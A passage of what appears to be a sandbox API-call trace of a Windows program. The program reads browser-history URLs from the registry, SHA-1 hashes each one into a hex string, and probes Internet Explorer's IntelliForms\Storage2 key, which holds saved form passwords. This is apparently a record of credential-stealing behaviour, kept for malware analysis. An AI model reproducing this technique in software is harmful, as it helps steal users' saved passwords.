lpString1="744602804D0F4F9CF94A35A26C98B07089AF39") returned="744602804D0F4F9CF94A35A26C98B07089AF39" [0097.048] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C98B07089AF39", lpString2="AD" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089AF39AD") returned="744602804D0F4F9CF94A35A26C98B07089AF39AD" [0097.048] LocalFree (hMem=0x28e7670) returned 0x0 [0097.048] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="DF") returned 2 [0097.048] lstrlenW (lpString="744602804D0F4F9CF94A35A26C98B07089AF39AD") returned 40 [0097.048] lstrlenW (lpString="DF") returned 2 [0097.048] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7670 [0097.048] lstrcpyW (in: lpString1=0x28e7670, lpString2="744602804D0F4F9CF94A35A26C98B07089AF39AD" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089AF39AD") returned="744602804D0F4F9CF94A35A26C98B07089AF39AD" [0097.048] lstrcatW (in: lpString1="744602804D0F4F9CF94A35A26C98B07089AF39AD", lpString2="DF" | out: lpString1="744602804D0F4F9CF94A35A26C98B07089AF39ADDF") returned="744602804D0F4F9CF94A35A26C98B07089AF39ADDF" [0097.049] LocalFree (hMem=0x28e7910) returned 0x0 [0097.049] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.049] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.049] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.049] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.049] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.049] LocalFree (hMem=0x28e7670) returned 0x0 [0097.049] RegEnumValueW (in: hKey=0x368, dwIndex=0x2f, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url3", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.049] StrStrIW (lpFirst="taobao.com", lpSrch="?") returned 0x0 [0097.049] StrStrIW (lpFirst="taobao.com", lpSrch="http://") returned 0x0 [0097.049] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.049] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.049] lstrlenW (lpString="taobao.com") returned 10 [0097.049] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x16, dwFlags=0x0) returned 1 [0097.050] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.050] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0E") returned 2 [0097.050] lstrlenW (lpString="") returned 0 [0097.050] lstrlenW (lpString="0E") returned 2 [0097.050] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.050] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.050] lstrcatW (in: lpString1="", lpString2="0E" | out: lpString1="0E") returned="0E" [0097.050] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="53") returned 2 [0097.050] lstrlenW (lpString="0E") returned 2 [0097.050] lstrlenW (lpString="53") returned 2 [0097.050] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28c81c0 [0097.050] lstrcpyW (in: lpString1=0x28c81c0, lpString2="0E" | out: lpString1="0E") returned="0E" [0097.050] lstrcatW (in: lpString1="0E", lpString2="53" | out: lpString1="0E53") returned="0E53" [0097.050] LocalFree (hMem=0x7222e70) returned 0x0 [0097.050] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D9") returned 2 [0097.050] lstrlenW (lpString="0E53") returned 4 [0097.050] lstrlenW (lpString="D9") returned 2 [0097.050] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28ca380 [0097.050] lstrcpyW (in: lpString1=0x28ca380, lpString2="0E53" | out: lpString1="0E53") returned="0E53" [0097.050] lstrcatW (in: lpString1="0E53", lpString2="D9" | out: lpString1="0E53D9") returned="0E53D9" [0097.050] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.050] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="8D") returned 2 [0097.050] lstrlenW (lpString="0E53D9") returned 6 [0097.050] lstrlenW (lpString="8D") returned 2 [0097.050] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28c81c0 [0097.050] lstrcpyW (in: lpString1=0x28c81c0, lpString2="0E53D9" | out: lpString1="0E53D9") returned="0E53D9" [0097.050] lstrcatW (in: lpString1="0E53D9", lpString2="8D" | out: lpString1="0E53D98D") returned="0E53D98D" [0097.050] LocalFree (hMem=0x28ca380) returned 0x0 [0097.050] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="43") returned 2 [0097.050] lstrlenW (lpString="0E53D98D") returned 8 [0097.050] lstrlenW (lpString="43") returned 2 [0097.050] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28ca380 [0097.050] lstrcpyW (in: lpString1=0x28ca380, lpString2="0E53D98D" | out: lpString1="0E53D98D") returned="0E53D98D" [0097.050] lstrcatW (in: lpString1="0E53D98D", lpString2="43" | out: lpString1="0E53D98D43") returned="0E53D98D43" [0097.050] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.050] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9B") returned 2 [0097.050] lstrlenW (lpString="0E53D98D43") returned 10 [0097.050] lstrlenW (lpString="9B") returned 2 [0097.051] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cfb40 [0097.051] lstrcpyW (in: lpString1=0x71cfb40, lpString2="0E53D98D43" | out: lpString1="0E53D98D43") returned="0E53D98D43" [0097.051] lstrcatW (in: lpString1="0E53D98D43", lpString2="9B" | out: lpString1="0E53D98D439B") returned="0E53D98D439B" [0097.051] LocalFree (hMem=0x28ca380) returned 0x0 [0097.051] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F0") returned 2 [0097.051] lstrlenW (lpString="0E53D98D439B") returned 12 [0097.051] lstrlenW (lpString="F0") returned 2 [0097.051] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cf460 [0097.051] lstrcpyW (in: lpString1=0x71cf460, lpString2="0E53D98D439B" | out: lpString1="0E53D98D439B") returned="0E53D98D439B" [0097.051] lstrcatW (in: lpString1="0E53D98D439B", lpString2="F0" | out: lpString1="0E53D98D439BF0") returned="0E53D98D439BF0" [0097.051] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.051] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="0C") returned 2 [0097.051] lstrlenW (lpString="0E53D98D439BF0") returned 14 [0097.051] lstrlenW (lpString="0C") returned 2 [0097.051] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cfb40 [0097.051] lstrcpyW (in: lpString1=0x71cfb40, lpString2="0E53D98D439BF0" | out: lpString1="0E53D98D439BF0") returned="0E53D98D439BF0" [0097.051] lstrcatW (in: lpString1="0E53D98D439BF0", lpString2="0C" | out: lpString1="0E53D98D439BF00C") returned="0E53D98D439BF00C" [0097.051] LocalFree (hMem=0x71cf460) returned 0x0 [0097.051] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6E") returned 2 [0097.051] lstrlenW (lpString="0E53D98D439BF00C") returned 16 [0097.051] lstrlenW (lpString="6E") returned 2 [0097.051] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cf460 [0097.051] lstrcpyW (in: lpString1=0x71cf460, lpString2="0E53D98D439BF00C" | out: lpString1="0E53D98D439BF00C") returned="0E53D98D439BF00C" [0097.051] lstrcatW (in: lpString1="0E53D98D439BF00C", lpString2="6E" | out: lpString1="0E53D98D439BF00C6E") returned="0E53D98D439BF00C6E" [0097.051] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.051] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="70") returned 2 [0097.051] lstrlenW (lpString="0E53D98D439BF00C6E") returned 18 [0097.051] lstrlenW (lpString="70") returned 2 [0097.051] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x72912f0 [0097.051] lstrcpyW (in: lpString1=0x72912f0, lpString2="0E53D98D439BF00C6E" | out: lpString1="0E53D98D439BF00C6E") returned="0E53D98D439BF00C6E" [0097.051] lstrcatW (in: lpString1="0E53D98D439BF00C6E", lpString2="70" | out: lpString1="0E53D98D439BF00C6E70") returned="0E53D98D439BF00C6E70" [0097.051] LocalFree (hMem=0x71cf460) returned 0x0 [0097.051] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="7E") returned 2 [0097.051] lstrlenW (lpString="0E53D98D439BF00C6E70") returned 20 [0097.051] lstrlenW (lpString="7E") returned 2 [0097.051] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x7290b70 [0097.051] lstrcpyW (in: lpString1=0x7290b70, lpString2="0E53D98D439BF00C6E70" | out: lpString1="0E53D98D439BF00C6E70") returned="0E53D98D439BF00C6E70" [0097.051] lstrcatW (in: lpString1="0E53D98D439BF00C6E70", lpString2="7E" | out: lpString1="0E53D98D439BF00C6E707E") returned="0E53D98D439BF00C6E707E" [0097.052] LocalFree (hMem=0x72912f0) returned 0x0 [0097.052] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="34") returned 2 [0097.052] lstrlenW (lpString="0E53D98D439BF00C6E707E") returned 22 [0097.052] lstrlenW (lpString="34") returned 2 [0097.052] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x72912f0 [0097.052] lstrcpyW (in: lpString1=0x72912f0, lpString2="0E53D98D439BF00C6E707E" | out: lpString1="0E53D98D439BF00C6E707E") returned="0E53D98D439BF00C6E707E" [0097.052] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E", lpString2="34" | out: lpString1="0E53D98D439BF00C6E707E34") returned="0E53D98D439BF00C6E707E34" [0097.052] LocalFree (hMem=0x7290b70) returned 0x0 [0097.052] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="80") returned 2 [0097.052] lstrlenW (lpString="0E53D98D439BF00C6E707E34") returned 24 [0097.052] lstrlenW (lpString="80") returned 2 [0097.052] LocalAlloc (uFlags=0x40, uBytes=0xb6) returned 0x7290b70 [0097.052] lstrcpyW (in: lpString1=0x7290b70, lpString2="0E53D98D439BF00C6E707E34" | out: lpString1="0E53D98D439BF00C6E707E34") returned="0E53D98D439BF00C6E707E34" [0097.052] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E34", lpString2="80" | out: lpString1="0E53D98D439BF00C6E707E3480") returned="0E53D98D439BF00C6E707E3480" [0097.052] LocalFree (hMem=0x72912f0) returned 0x0 [0097.052] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="C8") returned 2 [0097.052] lstrlenW (lpString="0E53D98D439BF00C6E707E3480") returned 26 [0097.052] lstrlenW (lpString="C8") returned 2 [0097.052] LocalAlloc (uFlags=0x40, uBytes=0xba) returned 0x2815670 [0097.052] lstrcpyW (in: lpString1=0x2815670, lpString2="0E53D98D439BF00C6E707E3480" | out: lpString1="0E53D98D439BF00C6E707E3480") returned="0E53D98D439BF00C6E707E3480" [0097.052] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480", lpString2="C8" | out: lpString1="0E53D98D439BF00C6E707E3480C8") returned="0E53D98D439BF00C6E707E3480C8" [0097.052] LocalFree (hMem=0x7290b70) returned 0x0 [0097.052] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="72") returned 2 [0097.052] lstrlenW (lpString="0E53D98D439BF00C6E707E3480C8") returned 28 [0097.052] lstrlenW (lpString="72") returned 2 [0097.052] LocalAlloc (uFlags=0x40, uBytes=0xbe) returned 0x2815a80 [0097.052] lstrcpyW (in: lpString1=0x2815a80, lpString2="0E53D98D439BF00C6E707E3480C8" | out: lpString1="0E53D98D439BF00C6E707E3480C8") returned="0E53D98D439BF00C6E707E3480C8" [0097.052] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480C8", lpString2="72" | out: lpString1="0E53D98D439BF00C6E707E3480C872") returned="0E53D98D439BF00C6E707E3480C872" [0097.052] LocalFree (hMem=0x2815670) returned 0x0 [0097.052] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="CD") returned 2 [0097.052] lstrlenW (lpString="0E53D98D439BF00C6E707E3480C872") returned 30 [0097.052] lstrlenW (lpString="CD") returned 2 [0097.052] LocalAlloc (uFlags=0x40, uBytes=0xc2) returned 0x2815670 [0097.052] lstrcpyW (in: lpString1=0x2815670, lpString2="0E53D98D439BF00C6E707E3480C872" | out: lpString1="0E53D98D439BF00C6E707E3480C872") returned="0E53D98D439BF00C6E707E3480C872" [0097.052] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480C872", lpString2="CD" | out: lpString1="0E53D98D439BF00C6E707E3480C872CD") returned="0E53D98D439BF00C6E707E3480C872CD" [0097.052] LocalFree (hMem=0x2815a80) returned 0x0 [0097.052] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="E4") returned 2 [0097.052] lstrlenW (lpString="0E53D98D439BF00C6E707E3480C872CD") returned 32 [0097.052] lstrlenW (lpString="E4") returned 2 [0097.053] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2815a80 [0097.053] lstrcpyW (in: lpString1=0x2815a80, lpString2="0E53D98D439BF00C6E707E3480C872CD" | out: lpString1="0E53D98D439BF00C6E707E3480C872CD") returned="0E53D98D439BF00C6E707E3480C872CD" [0097.053] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480C872CD", lpString2="E4" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE4") returned="0E53D98D439BF00C6E707E3480C872CDE4" [0097.053] LocalFree (hMem=0x2815670) returned 0x0 [0097.053] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="9A") returned 2 [0097.053] lstrlenW (lpString="0E53D98D439BF00C6E707E3480C872CDE4") returned 34 [0097.053] lstrlenW (lpString="9A") returned 2 [0097.053] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x28e7670 [0097.053] lstrcpyW (in: lpString1=0x28e7670, lpString2="0E53D98D439BF00C6E707E3480C872CDE4" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE4") returned="0E53D98D439BF00C6E707E3480C872CDE4" [0097.053] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480C872CDE4", lpString2="9A" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A") returned="0E53D98D439BF00C6E707E3480C872CDE49A" [0097.053] LocalFree (hMem=0x2815a80) returned 0x0 [0097.053] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="78") returned 2 [0097.053] lstrlenW (lpString="0E53D98D439BF00C6E707E3480C872CDE49A") returned 36 [0097.053] lstrlenW (lpString="78") returned 2 [0097.053] LocalAlloc (uFlags=0x40, uBytes=0xce) returned 0x28e7910 [0097.053] lstrcpyW (in: lpString1=0x28e7910, lpString2="0E53D98D439BF00C6E707E3480C872CDE49A" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A") returned="0E53D98D439BF00C6E707E3480C872CDE49A" [0097.053] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A", lpString2="78" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A78") returned="0E53D98D439BF00C6E707E3480C872CDE49A78" [0097.053] LocalFree (hMem=0x28e7670) returned 0x0 [0097.053] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="D5") returned 2 [0097.053] lstrlenW (lpString="0E53D98D439BF00C6E707E3480C872CDE49A78") returned 38 [0097.053] lstrlenW (lpString="D5") returned 2 [0097.053] LocalAlloc (uFlags=0x40, uBytes=0xd2) returned 0x28e7670 [0097.053] lstrcpyW (in: lpString1=0x28e7670, lpString2="0E53D98D439BF00C6E707E3480C872CDE49A78" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A78") returned="0E53D98D439BF00C6E707E3480C872CDE49A78" [0097.053] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A78", lpString2="D5" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A78D5") returned="0E53D98D439BF00C6E707E3480C872CDE49A78D5" [0097.053] LocalFree (hMem=0x28e7910) returned 0x0 [0097.053] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="83") returned 2 [0097.053] lstrlenW (lpString="0E53D98D439BF00C6E707E3480C872CDE49A78D5") returned 40 [0097.053] lstrlenW (lpString="83") returned 2 [0097.053] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x28e7910 [0097.053] lstrcpyW (in: lpString1=0x28e7910, lpString2="0E53D98D439BF00C6E707E3480C872CDE49A78D5" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A78D5") returned="0E53D98D439BF00C6E707E3480C872CDE49A78D5" [0097.053] lstrcatW (in: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A78D5", lpString2="83" | out: lpString1="0E53D98D439BF00C6E707E3480C872CDE49A78D583") returned="0E53D98D439BF00C6E707E3480C872CDE49A78D583" [0097.053] LocalFree (hMem=0x28e7670) returned 0x0 [0097.053] CryptDestroyHash (hHash=0x4469af0) returned 1 [0097.053] CryptReleaseContext (hProv=0x444f960, dwFlags=0x0) returned 1 [0097.053] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x54df960 | out: phkResult=0x54df960*=0x0) returned 0x2 [0097.054] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x54df900 | out: phkResult=0x54df900*=0x0) returned 0x2 [0097.054] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x54df8a0 | out: phkResult=0x54df8a0*=0x0) returned 0x2 [0097.054] LocalFree (hMem=0x28e7910) returned 0x0 [0097.054] RegEnumValueW (in: hKey=0x368, dwIndex=0x30, lpValueName=0x54dfb10, lpcchValueName=0x54dfd68, lpReserved=0x0, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60 | out: lpValueName="url2", lpcchValueName=0x54dfd68, lpType=0x54dfd70, lpData=0x28ff190, lpcbData=0x54dfd60) returned 0x0 [0097.054] StrStrIW (lpFirst="redtube.com", lpSrch="?") returned 0x0 [0097.054] StrStrIW (lpFirst="redtube.com", lpSrch="http://") returned 0x0 [0097.054] CryptAcquireContextW (in: phProv=0x54df9e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x54df9e0*=0x444f960) returned 1 [0097.054] CryptCreateHash (in: hProv=0x444f960, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x54df9d8 | out: phHash=0x54df9d8) returned 1 [0097.054] lstrlenW (lpString="redtube.com") returned 11 [0097.054] CryptHashData (hHash=0x4469af0, pbData=0x28ff190, dwDataLen=0x18, dwFlags=0x0) returned 1 [0097.054] CryptGetHashParam (in: hHash=0x4469af0, dwParam=0x2, pbData=0x54dfa10, pdwDataLen=0x54dfaa8, dwFlags=0x0 | out: pbData=0x54dfa10, pdwDataLen=0x54dfaa8) returned 1 [0097.054] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="23") returned 2 [0097.054] lstrlenW (lpString="") returned 0 [0097.054] lstrlenW (lpString="23") returned 2 [0097.054] LocalAlloc (uFlags=0x40, uBytes=0x86) returned 0x7222e70 [0097.054] lstrcpyW (in: lpString1=0x7222e70, lpString2="" | out: lpString1="") returned="" [0097.055] lstrcatW (in: lpString1="", lpString2="23" | out: lpString1="23") returned="23" [0097.055] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="76") returned 2 [0097.055] lstrlenW (lpString="23") returned 2 [0097.055] lstrlenW (lpString="76") returned 2 [0097.055] LocalAlloc (uFlags=0x40, uBytes=0x8a) returned 0x28ca380 [0097.055] lstrcpyW (in: lpString1=0x28ca380, lpString2="23" | out: lpString1="23") returned="23" [0097.055] lstrcatW (in: lpString1="23", lpString2="76" | out: lpString1="2376") returned="2376" [0097.055] LocalFree (hMem=0x7222e70) returned 0x0 [0097.055] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="11") returned 2 [0097.055] lstrlenW (lpString="2376") returned 4 [0097.055] lstrlenW (lpString="11") returned 2 [0097.055] LocalAlloc (uFlags=0x40, uBytes=0x8e) returned 0x28c81c0 [0097.055] lstrcpyW (in: lpString1=0x28c81c0, lpString2="2376" | out: lpString1="2376") returned="2376" [0097.055] lstrcatW (in: lpString1="2376", lpString2="11" | out: lpString1="237611") returned="237611" [0097.055] LocalFree (hMem=0x28ca380) returned 0x0 [0097.055] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="12") returned 2 [0097.055] lstrlenW (lpString="237611") returned 6 [0097.055] lstrlenW (lpString="12") returned 2 [0097.055] LocalAlloc (uFlags=0x40, uBytes=0x92) returned 0x28ca380 [0097.055] lstrcpyW (in: lpString1=0x28ca380, lpString2="237611" | out: lpString1="237611") returned="237611" [0097.055] lstrcatW (in: lpString1="237611", lpString2="12" | out: lpString1="23761112") returned="23761112" [0097.055] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.055] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="F8") returned 2 [0097.055] lstrlenW (lpString="23761112") returned 8 [0097.055] lstrlenW (lpString="F8") returned 2 [0097.055] LocalAlloc (uFlags=0x40, uBytes=0x96) returned 0x28c81c0 [0097.055] lstrcpyW (in: lpString1=0x28c81c0, lpString2="23761112" | out: lpString1="23761112") returned="23761112" [0097.055] lstrcatW (in: lpString1="23761112", lpString2="F8" | out: lpString1="23761112F8") returned="23761112F8" [0097.055] LocalFree (hMem=0x28ca380) returned 0x0 [0097.055] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="2F") returned 2 [0097.055] lstrlenW (lpString="23761112F8") returned 10 [0097.055] lstrlenW (lpString="2F") returned 2 [0097.055] LocalAlloc (uFlags=0x40, uBytes=0x9a) returned 0x71cf460 [0097.055] lstrcpyW (in: lpString1=0x71cf460, lpString2="23761112F8" | out: lpString1="23761112F8") returned="23761112F8" [0097.055] lstrcatW (in: lpString1="23761112F8", lpString2="2F" | out: lpString1="23761112F82F") returned="23761112F82F" [0097.055] LocalFree (hMem=0x28c81c0) returned 0x0 [0097.055] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="6B") returned 2 [0097.055] lstrlenW (lpString="23761112F82F") returned 12 [0097.055] lstrlenW (lpString="6B") returned 2 [0097.056] LocalAlloc (uFlags=0x40, uBytes=0x9e) returned 0x71cfb40 [0097.056] lstrcpyW (in: lpString1=0x71cfb40, lpString2="23761112F82F" | out: lpString1="23761112F82F") returned="23761112F82F" [0097.056] lstrcatW (in: lpString1="23761112F82F", lpString2="6B" | out: lpString1="23761112F82F6B") returned="23761112F82F6B" [0097.056] LocalFree (hMem=0x71cf460) returned 0x0 [0097.056] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="15") returned 2 [0097.056] lstrlenW (lpString="23761112F82F6B") returned 14 [0097.056] lstrlenW (lpString="15") returned 2 [0097.056] LocalAlloc (uFlags=0x40, uBytes=0xa2) returned 0x71cf460 [0097.056] lstrcpyW (in: lpString1=0x71cf460, lpString2="23761112F82F6B" | out: lpString1="23761112F82F6B") returned="23761112F82F6B" [0097.056] lstrcatW (in: lpString1="23761112F82F6B", lpString2="15" | out: lpString1="23761112F82F6B15") returned="23761112F82F6B15" [0097.056] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.056] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="90") returned 2 [0097.056] lstrlenW (lpString="23761112F82F6B15") returned 16 [0097.056] lstrlenW (lpString="90") returned 2 [0097.056] LocalAlloc (uFlags=0x40, uBytes=0xa6) returned 0x71cfb40 [0097.056] lstrcpyW (in: lpString1=0x71cfb40, lpString2="23761112F82F6B15" | out: lpString1="23761112F82F6B15") returned="23761112F82F6B15" [0097.056] lstrcatW (in: lpString1="23761112F82F6B15", lpString2="90" | out: lpString1="23761112F82F6B1590") returned="23761112F82F6B1590" [0097.056] LocalFree (hMem=0x71cf460) returned 0x0 [0097.056] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="3C") returned 2 [0097.056] lstrlenW (lpString="23761112F82F6B1590") returned 18 [0097.056] lstrlenW (lpString="3C") returned 2 [0097.056] LocalAlloc (uFlags=0x40, uBytes=0xaa) returned 0x7290b70 [0097.056] lstrcpyW (in: lpString1=0x7290b70, lpString2="23761112F82F6B1590" | out: lpString1="23761112F82F6B1590") returned="23761112F82F6B1590" [0097.056] lstrcatW (in: lpString1="23761112F82F6B1590", lpString2="3C" | out: lpString1="23761112F82F6B15903C") returned="23761112F82F6B15903C" [0097.056] LocalFree (hMem=0x71cfb40) returned 0x0 [0097.056] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="36") returned 2 [0097.056] lstrlenW (lpString="23761112F82F6B15903C") returned 20 [0097.056] lstrlenW (lpString="36") returned 2 [0097.056] LocalAlloc (uFlags=0x40, uBytes=0xae) returned 0x72912f0 [0097.056] lstrcpyW (in: lpString1=0x72912f0, lpString2="23761112F82F6B15903C" | out: lpString1="23761112F82F6B15903C") returned="23761112F82F6B15903C" [0097.056] lstrcatW (in: lpString1="23761112F82F6B15903C", lpString2="36" | out: lpString1="23761112F82F6B15903C36") returned="23761112F82F6B15903C36" [0097.056] LocalFree (hMem=0x7290b70) returned 0x0 [0097.056] _vsnwprintf (in: _Buffer=0x54df9f8, _BufferCount=0x9, _Format="%02X", _ArgList=0x54df9a8 | out: _Buffer="A4") returned 2 [0097.056] lstrlenW (lpString="23761112F82F6B15903C36") returned 22 [0097.056] lstrlenW (lpString="A4") returned 2 [0097.056] LocalAlloc (uFlags=0x40, uBytes=0xb2) returned 0x7290b70 [0097.056] lstrcpyW (in: lpString1=0x7290b70, lpString2="23761112F82F6B15903C36" | out: lpString1="23761112F82F6B15903C36") returned="23761112F82F6B15903C36" [0097.056] lstrcatW (in: lpString1="23761112F82F6B15903C36", lpString2="A4" | out: 